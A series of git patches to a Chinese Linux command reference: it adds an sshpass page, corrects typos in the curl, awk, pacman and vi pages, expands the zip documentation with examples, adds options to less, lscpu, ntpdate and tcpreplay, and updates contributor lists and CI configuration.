index 00000000000..43063898c6b --- /dev/null +++ b/command/sshpass.md @@ -0,0 +1,67 @@ +sshpass +=== + +免交互 SSH 登录工具。 + +## 补充说明 + +免交互 SSH 登录工具，但不要用在生产服务器上。 + +如果你想自动在 SSH 登录提示符中提供**密码**和**用户名**怎么办？这时 **sshpass** 就可以帮到你了。 + +**sshpass** 是一个简单、轻量级的命令行工具，通过它我们能够向命令提示符本身提供密码（非交互式密码验证）。 + +### 安装 + +```shell +# RedHat/CentOS +yum install sshpass + +# Debian/Ubuntu +apt-get install sshpass +``` + +### 语法 + +```shell +sshpass (选项) +``` + +### 选项 + +```shell +用法: sshpass [-f|-d|-p|-e] [-hV] 命令 参数 + -f 文件名 从文件中获取密码 + -d 数字 使用数字作为文件描述符来获取密码 + -p 密码 将密码作为参数提供（安全上不明智） + -e 密码以环境变量 "SSHPASS" 的形式传递 + 如果没有参数 - 密码将从标准输入中获取 + + -P 提示 sshpass 搜索以检测密码提示的字符串 + -v 显示详细信息 + -h 显示帮助信息（本屏幕） + -V 打印版本信息 +只能使用 -f、-d、-p 或 -e 中的一个 +``` + +### 实例 + +1.明文传输密码（**不建议**） + +```shell +sshpass -p 'my_pass_here' ssh aaronkilik@10.42.0.1 'df -h' +``` + +2.使用文件传输密码 + +```shell +sshpass -f password_filename ssh aaronkilik@10.42.0.1 'df -h' +``` + +3.使用环境变量 `SSHPASS` + +```shell +sshpass -e ssh aaronkilik@10.42.0.1 'df -h' +``` + +更多使用详情请参考 [https://linux.cn/article-8086-1.html](https://linux.cn/article-8086-1.html) 。 \ No newline at end of file diff --git a/dist/data.json b/dist/data.json index 873255bc473..526e559d149 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2379,6 +2379,11 @@ "p": "/sshd", "d": "openssh软件套件中的服务器守护进程" }, + "sshpass":{ + "n": "sshpass", + "p": "/sshpass", + "d": "免交互 SSH 登录工具" + }, "startx": { "n": "startx", "p": "/startx", From 11d0b195f9c71062a1cbf2cd392dd141b60616db Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 30 Oct 2023 03:12:23 +0000 Subject: [PATCH 0770/1019] doc: update README.md. --- README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 99478252e20..94331453a25 100644 --- a/README.md +++ b/README.md @@ -399,8 +399,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 丛林意志 - - Jayin Taung + + Jayin Tang Zijing Zhang @@ -474,6 +474,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing + + alfred + Alan @@ -591,9 +594,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xonline-Tech - - Isidro Osoria - Xu Chunyang @@ -612,8 +612,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 amit794 - - asunrong + + Ashine azureology From 9858d5614e12e63b99be47b0884f0e1e83a5ea6c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 30 Oct 2023 03:12:24 +0000 Subject: [PATCH 0771/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a9eb620ba17..95b82e3564e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -36,8 +36,8 @@ 丛林意志 - - Jayin Taung + + Jayin Tang Zijing Zhang @@ -111,6 +111,9 @@ Wang Jianing + + alfred + Alan @@ -228,9 +231,6 @@ Xonline-Tech - - Isidro Osoria - Xu Chunyang @@ -249,8 +249,8 @@ amit794 - - asunrong + + Ashine azureology From def27d4132ca698e14ae039cb26326bbb9147b3a Mon Sep 17 00:00:00 2001 From: jcdj666 Date: Mon, 30 Oct 2023 18:11:41 +0800 Subject: [PATCH 0772/1019] doc: Update curl.md (#538) fix mistake --- command/curl.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/curl.md b/command/curl.md index 81c8cb38fef..2215d6af058 100644 --- a/command/curl.md +++ b/command/curl.md @@ -158,7 +158,7 @@ curl -s -o /dev/null https://example.com #### **断点续传** -curl能够从特定的文件偏移处继续下载，它可以通过指定一个便宜量来下载部分文件： +curl能够从特定的文件偏移处继续下载，它可以通过指定一个偏移量来下载部分文件： ```shell curl URL/File -C 偏移量 From 121a268fb4492edb06f26278ef5e3aeedd1e253c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 2 Nov 2023 09:07:51 +0800 Subject: [PATCH 0773/1019] doc: Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 94331453a25..22a901c9058 100644 --- a/README.md +++ b/README.md @@ -37,11 +37,11 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/), [`51tools.info`](https://51tools.info/linux/) ## 微信小程序版本 From a6b9d06a54c801c68eb36453c05e0ed1e3d704a7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:08:36 +0000 Subject: [PATCH 0774/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 22a901c9058..9355b0f52bf 100644 --- a/README.md +++ b/README.md @@ -666,6 +666,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 huangyao + + jcdj666 + jqz3.tech From 90f9f53e8d25b05d6cc7ab7d52cd3876f631c50a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:08:37 +0000 Subject: [PATCH 0775/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 95b82e3564e..22538dedd01 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -303,6 +303,9 @@ huangyao + + jcdj666 + jqz3.tech From 8072199b139e5001f8280278146592c13efb9781 Mon Sep 17 00:00:00 2001 From: XBG <66010822+XBGzZ@users.noreply.github.com> Date: Thu, 2 Nov 2023 09:10:34 +0800 Subject: [PATCH 0776/1019] doc: Update awk.md (#536) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 纠正错误，Array符号位置问题，还有SUBSEP后面的字符乱码问题 --- command/awk.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/awk.md b/command/awk.md index a23eec09e6a..00145315da7 100644 --- a/command/awk.md +++ b/command/awk.md @@ -623,7 +623,7 @@ Array[2]="kai" ```shell Array["first"]="www" -Array"[last"]="name" +Array["last"]="name" Array["birth"]="1987" ``` @@ -708,7 +708,7 @@ b b1 ### 二维、多维数组使用 -awk的多维数组在本质上是一维数组，更确切一点，awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如，`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段，在上面的例子中，关联数组array存储的键值实际上是2�344。 +awk的多维数组在本质上是一维数组，更确切一点，awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如，`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(\034)`作为分割字段，在上面的例子中，关联数组array存储的键值实际上是2\0344。 类似一维数组的成员测试，多维数组可以使用`if ( (i,j) in array)`这样的语法，但是下标必须放置在圆括号中。类似一维数组的循环访问，多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是，多维数组必须使用`split()`函数来访问单独的下标分量。 From e3c800e64c7c3d9785bae4714c0780142d7752ac Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:11:32 +0000 Subject: [PATCH 0777/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 9355b0f52bf..43b492112e0 100644 --- a/README.md +++ b/README.md @@ -588,6 +588,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wingrez + + XBG + Xiaodong DENG From 3ce69ccab7c7142e07c032a25bb742d94ca5c3c0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:11:33 +0000 Subject: [PATCH 0778/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 22538dedd01..2ed18ac1241 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -225,6 +225,9 @@ Wingrez + + XBG + Xiaodong DENG From 9079d5aa3707446fd98973f2165716702825c546 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 25 Nov 2023 19:24:46 +0800 Subject: [PATCH 0779/1019] chore: add sponsor badge. --- .github/FUNDING.yml | 14 +++++++------- README.md | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index fbb2d7ccb34..716bbf0f45f 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,9 +1,9 @@ # These are supported funding model platforms -github: [jaywcjlove] -patreon: # Replace with a single Patreon username -open_collective: # Replace with a single Open Collective username -ko_fi: # Replace with a single Ko-fi username -tidelift: # npm/linux-command -community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -custom: https://jaywcjlove.github.io/sponsor.html +# github: [jaywcjlove] +# patreon: # Replace with a single Patreon username +# open_collective: # Replace with a single Open Collective username +# ko_fi: # Replace with a single Ko-fi username +# tidelift: #npm/mocker-api +# community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +custom: https://jaywcjlove.github.io/#/sponsor diff --git a/README.md b/README.md index 43b492112e0..10dd5c0221e 100644 --- a/README.md +++ b/README.md @@ -5,10 +5,10 @@

    Linux Command

    +[![Buy me a coffee](https://img.shields.io/badge/Buy%20me%20a%20coffee-048754?logo=buymeacoffee)](https://jaywcjlove.github.io/#/sponsor) [![CI](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml/badge.svg)](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml) [![Web](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) [![weibo](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) -[![Get this with npm](https://jaywcjlove.github.io/sb/ico/npm.svg)](https://www.npmjs.com/package/linux-command) [![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) From 2991363f02b20b8a7ad8bc80ea5d7f920d8fa563 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 25 Nov 2023 19:26:58 +0800 Subject: [PATCH 0780/1019] website: update footer template. --- template/widget/footer.ejs | 1 + 1 file changed, 1 insertion(+) diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index 33ef4da284f..966863110a6 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -8,6 +8,7 @@ Krunner | 开源中国Web版
    + 打赏捐赠 | Github | 短地址：https://git.io/linux
    From 12d1047a01f9d36bfd820530b46e988f3b25931c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 25 Nov 2023 11:29:17 +0000 Subject: [PATCH 0781/1019] doc: update README.md. --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 10dd5c0221e..4ad7dca30ff 100644 --- a/README.md +++ b/README.md @@ -567,7 +567,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 SMVirus - + SevenSteven @@ -717,8 +717,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls23 + + sunls24 tangke @@ -789,8 +789,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 继刚 - - Koyfin + + Kyofin 谢民皆 From 78d81809ba801e5f35013e35fefa4649a5543de6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 25 Nov 2023 11:29:18 +0000 Subject: [PATCH 0782/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2ed18ac1241..eadfb957d85 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -204,7 +204,7 @@ SMVirus - + SevenSteven @@ -354,8 +354,8 @@ snovey - - sunls23 + + sunls24 tangke @@ -426,8 +426,8 @@ 继刚 - - Koyfin + + Kyofin 谢民皆 From 65665e88d7ac425c58ecc9852b866c1cb504706e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 27 Nov 2023 11:32:26 +0800 Subject: [PATCH 0783/1019] ci: update workflows config. --- .github/workflows/ci.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a70cf3add7e..91dc66245df 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -7,11 +7,14 @@ on: jobs: build-deploy: runs-on: ubuntu-latest + permissions: + contents: write + id-token: write steps: - uses: actions/checkout@v3 - uses: actions/setup-node@v3 with: - node-version: 16 + node-version: 18 registry-url: 'https://registry.npmjs.org' - name: Generate Contributors Images @@ -127,7 +130,7 @@ jobs: user_name: github-actions[bot] user_email: github-actions[bot]@users.noreply.github.com - - run: npm publish + - run: npm publish --access public --provenance continue-on-error: true name: 📦 linux-command publish to NPM env: From 2f5cf439c9f5f1e1e6b3977f15209d02611242c7 Mon Sep 17 00:00:00 2001 From: sfwwslm <77674552+sfwwslm@users.noreply.github.com> Date: Sat, 2 Dec 2023 08:53:37 +0800 Subject: [PATCH 0784/1019] doc: update less.md & lscpu.md & ntpdate.md & tcpreplay.md (#542) --- command/less.md | 1 + command/lscpu.md | 14 +++++++++++++- command/ntpdate.md | 1 + command/tcpreplay.md | 1 + 4 files changed, 16 insertions(+), 1 deletion(-) diff --git a/command/less.md b/command/less.md index 9f6ab459500..9dfc559bbe6 100644 --- a/command/less.md +++ b/command/less.md @@ -24,6 +24,7 @@ less(选项)(参数) -s：将连续多个空行压缩成一行显示； -S：在单行显示较长的内容，而不换行显示； -x<数字>：将TAB字符显示为指定个数的空格字符。 +-r：能够显示设置的颜色。 ``` ### 参数 diff --git a/command/lscpu.md b/command/lscpu.md index 9e0ef350ff1..d6549c7c798 100644 --- a/command/lscpu.md +++ b/command/lscpu.md @@ -71,5 +71,17 @@ L2 cache: 256K L3 cache: 8192K NUMA node0 CPU(s): 0-3 ``` - +```shell +# 查看cpu编号对应的核心号码，区分是大核还是小核。 +[root@localhost ~]# lscpu -e +CPU NODE SOCKET CORE L1d:L1i:L2:L3 ONLINE MAXMHZ MINMHZ +0 0 0 0 0:0:0:0 是 3600.0000 800.0000 +1 0 0 1 1:1:1:0 是 3600.0000 800.0000 +2 0 0 2 2:2:2:0 是 3600.0000 800.0000 +3 0 0 3 3:3:3:0 是 3600.0000 800.0000 +4 0 0 0 0:0:0:0 是 3600.0000 800.0000 +5 0 0 1 1:1:1:0 是 3600.0000 800.0000 +6 0 0 2 2:2:2:0 是 3600.0000 800.0000 +7 0 0 3 3:3:3:0 是 3600.0000 800.0000 +``` diff --git a/command/ntpdate.md b/command/ntpdate.md index cfacf8b8ad7..c44638bd08a 100644 --- a/command/ntpdate.md +++ b/command/ntpdate.md @@ -37,5 +37,6 @@ ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] -s # 指定日志操作 syslog 设施的使用，而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时，它是很有用的。 -tTimeOut # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。 -u # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的， 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机，它控制从外网对专用网的访问。 +-q # 仅供查询，不设置时间。 ``` diff --git a/command/tcpreplay.md b/command/tcpreplay.md index 8332e5f9c66..cb40c1f42b3 100644 --- a/command/tcpreplay.md +++ b/command/tcpreplay.md @@ -24,6 +24,7 @@ tcpreplay -k 重写主网卡发送报文的源MAC地址。 -K 重写从网卡发送报文的源MAC地址。 -l 指定循环的次数。 + --loopdelay-ms=2000 每次循环间隔2000毫秒。 -L 指定最大的发包数量。可以在确认连接的调试时使用。 -m 指定一个倍数值，就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后，对于DUT可能意味着有更多的并发连接和连接数，特别是对于BT报文的重放， 因为连接的超时是固定的，如果速率增大的话， 留在session表中的连接数量增大，还可以通过修改连接的超时时间来达到该目的。 -M 表示不发送“火星”的ip报文，man文件中的定义是 0/8、172/8、 255/8。 From 17a87b65faaa30a634bd72bd9e4a7dfe14ccb060 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 00:54:31 +0000 Subject: [PATCH 0785/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 4ad7dca30ff..33120e1fb46 100644 --- a/README.md +++ b/README.md @@ -711,6 +711,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 rexlin600 + + sfwwslm + shc From 0d6f4446a89e18c6e55ba7f6e51f31a7cefd4a55 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 00:54:32 +0000 Subject: [PATCH 0786/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index eadfb957d85..662476b2a2e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -348,6 +348,9 @@ rexlin600 + + sfwwslm + shc From 659084f9b289a9d9f85a356c79857bb5db6ee6a1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=94=B2=E5=AF=85?= Date: Sat, 2 Dec 2023 04:41:17 +0000 Subject: [PATCH 0787/1019] doc: Update pacman.md (#543) --- command/pacman.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/pacman.md b/command/pacman.md index 9330c6c1d0e..83b953f2954 100644 --- a/command/pacman.md +++ b/command/pacman.md @@ -1,7 +1,7 @@ pacman === -Arch Linux 系统极其衍生系统中默认使用的包管理器 +Arch Linux 系统及其衍生系统中默认使用的包管理器 ## 安装 From 90a1857ce8d35fb77f453dafd2b3633621108a9d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 04:41:55 +0000 Subject: [PATCH 0788/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 33120e1fb46..9226d6f643e 100644 --- a/README.md +++ b/README.md @@ -786,6 +786,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 沙漠之子 + + 甲寅 + 移动的红烧肉 From de33731520c6abfa4cedc3c150d16f77dc0e2025 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 04:41:56 +0000 Subject: [PATCH 0789/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 662476b2a2e..be726dd6733 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -423,6 +423,9 @@ 沙漠之子 + + 甲寅 + 移动的红烧肉 From 206ca09a8b2e044ce82e072ad06fff198d1b0e5b Mon Sep 17 00:00:00 2001 From: alterem Date: Tue, 5 Dec 2023 16:08:46 +0800 Subject: [PATCH 0790/1019] doc: update command/vi.md (#544) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit -s：安静模式，不显示指令的任何错误信息。 --- command/vi.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/vi.md b/command/vi.md index f5b02d82a32..63ce4a16539 100644 --- a/command/vi.md +++ b/command/vi.md @@ -67,7 +67,7 @@ vi(选项)(参数) -n：不实用缓存功能； -o<文件数目>：指定同时打开指定数目的文件； -R：以只读方式打开文件； --s：安静模式，不现实指令的任何错误信息。 +-s：安静模式，不显示指令的任何错误信息。 ``` ### 参数 From 11451689bf2d713a66162bf2e79036bf23d695b8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 5 Dec 2023 08:09:21 +0000 Subject: [PATCH 0791/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 9226d6f643e..5e89544b3e4 100644 --- a/README.md +++ b/README.md @@ -609,6 +609,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 0Knot (0KN) + + alterem + One Person’s Revelry From 9640f3371184621180544f9d260b1fc7bf03bd93 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 5 Dec 2023 08:09:22 +0000 Subject: [PATCH 0792/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index be726dd6733..03531776b2c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -246,6 +246,9 @@ 0Knot (0KN) + + alterem + One Person’s Revelry From 7c5a8ea526c225bc0c40590f4b729925b973da2d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 7 Dec 2023 09:28:09 +0800 Subject: [PATCH 0793/1019] doc: update zip.md (fix #545) --- command/zip.md | 62 +++++++++++++++++++++++--------------------------- 1 file changed, 28 insertions(+), 34 deletions(-) diff --git a/command/zip.md b/command/zip.md index dba048c88a8..f9fe8e9af55 100644 --- a/command/zip.md +++ b/command/zip.md @@ -17,40 +17,34 @@ zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi ### 选项 ```shell --A：调整可执行的自动解压缩文件； --b<工作目录>：指定暂时存放文件的目录； --c：替每个被压缩的文件加上注释； --d：从压缩文件内删除指定的文件； --D：压缩文件内不建立目录名称； --f：此参数的效果和指定“-u”参数类似，但不仅更新既有文件，如果某些文件原本不存在于压缩文件内，使用本参数会一并将其加入压缩文件中； --F：尝试修复已损坏的压缩文件； --g：将文件压缩后附加在已有的压缩文件之后，而非另行建立新的压缩文件； --h：在线帮助； --i<范本样式>：只压缩符合条件的文件； --j：只保存文件名称及其内容，而不存放任何目录名称； --J：删除压缩文件前面不必要的数据； --k：使用MS-DOS兼容格式的文件名称； --l：压缩文件时，把LF字符置换成LF+CR字符； --ll：压缩文件时，把LF+cp字符置换成LF字符； --L：显示版权信息； --m：将文件压缩并加入压缩文件后，删除原始文件，即把文件移到压缩文件中； --n<字尾字符串>：不压缩具有特定字尾字符串的文件； --o：以压缩文件内拥有最新更改时间的文件为准，将压缩文件的更改时间设成和该文件相同； --q：不显示指令执行过程； --r：递归处理，将指定目录下的所有文件和子目录一并处理； --S：包含系统和隐藏文件； --t<日期时间>：把压缩文件的日期设成指定的日期； --T：检查备份文件内的每个文件是否正确无误； --u：更换较新的文件到压缩文件内； --v：显示指令执行过程或显示版本信息； --V：保存VMS操作系统的文件属性； --w：在文件名称里假如版本编号，本参数仅在VMS操作系统下有效； --x<范本样式>：压缩时排除符合条件的文件； --X：不保存额外的文件属性； --y：直接保存符号连接，而非该链接所指向的文件，本参数仅在UNIX之类的系统下有效； --z：替压缩文件加上注释； --$：保存第一个被压缩文件所在磁盘的卷册名称； --<压缩效率>：压缩效率是一个介于1~9的数值。 +-f: 刷新：仅更改的文件 +-u: 更新：仅更改或新文件 +-d: 删除 zip 文件中的条目 +-m: 移至 zip 文件（删除操作系统文件） +-r: 递归到目录 +-j: 垃圾（不记录）目录名 +-0: 仅存储 +-l: 将 LF 转换为 CR LF (-ll CR LF 到 LF) +-1: 压缩速度更快 +-9: 压缩得更好 +-v: 详细操作/打印版本信息 +-q: 安静运行 +-c: 添加一行注释 +-z: 添加 zip 文件注释 +-@: 从标准输入读取名称 +-o: 使 zip 文件与最新条目一样旧 +-x: 排除以下名称 +-i: 仅包含以下名称 +-F: 修复 zip 文件（-FF 更加努力） +-D: 不添加目录条目 +-A: 调整自解压exe +-D: 不添加目录条目 +-T: 测试 zip 文件的完整性 +-X: 排除额外的文件属性 +-n: 不压缩这些后缀 +-e: 加密 +-y: 将符号链接存储为链接而不是引用的文件 +-h2: 显示更多帮助 ``` ### 参数 From 54bc9aa32ae45a969647963bb053344c2a31b1d6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 7 Dec 2023 09:38:57 +0800 Subject: [PATCH 0794/1019] doc: update zip.md & add example --- command/zip.md | 44 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/command/zip.md b/command/zip.md index f9fe8e9af55..b7370d8cdb4 100644 --- a/command/zip.md +++ b/command/zip.md @@ -54,7 +54,49 @@ zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi ### 实例 -将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的html.zip： +压缩单个文件，这会将 `file.txt` 文件压缩到名为 `compressed.zip` 的归档文件中 + +```shell +zip compressed.zip file.txt +``` + +压缩多个文件，下面这个命令会把 `file1.txt`，`file2.txt`，和 `file3.txt` 压缩到一个叫做 `compressed.zip` 的归档文件中。 + +```shell +zip compressed.zip file1.txt file2.txt file3.txt +``` + +压缩整个目录，下面这个命令 `-r` 参数表示递归压缩，该命令将压缩 `folder` 目录及其所有子目录和文件 + +```shell +zip -r compressed.zip folder/ +``` + +使用最大压缩比压缩文件，下面这个命令 `-9` 参数指定了最大压缩比，尽管可能需要更长的处理时间 + +```shell +zip -9 compressed.zip file.txt +``` + +创建密码保护的 zip 文件，下面这个命令 `-e` 参数会提示用户输入密码以创建加密的 zip 文件。 + +```shell +zip -e secure.zip file.txt +``` + +只压缩新文件或已更改的文件，如果 `compressed.zip` 已存在，`-u` 参数会更新归档中的 `file.txt` 或将其添加至归档中（如果它是新的） + +```shell +zip -u compressed.zip file.txt +``` + +压缩文件但不保留目录结构，`-j` 参数将不保留 `file.txt` 的父目录 `folder`，文件在 zip 中的位置将是在根目录下 + +```shell +zip -j compressed.zip folder/file.txt +``` + +将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的 `html.zip`： ```shell zip -q -r html.zip /home/Blinux/html From 61875e0e249259db7b776a673c4463d5679f8ff7 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 13 Dec 2023 07:16:56 +0800 Subject: [PATCH 0795/1019] doc: update tcpreplay.md #546 --- command/tcpreplay.md | 251 ++++++++++++++++++++++++++++++++++++------- dist/data.json | 52 +++++++-- dist/data.min.json | 2 +- 3 files changed, 260 insertions(+), 45 deletions(-) diff --git a/command/tcpreplay.md 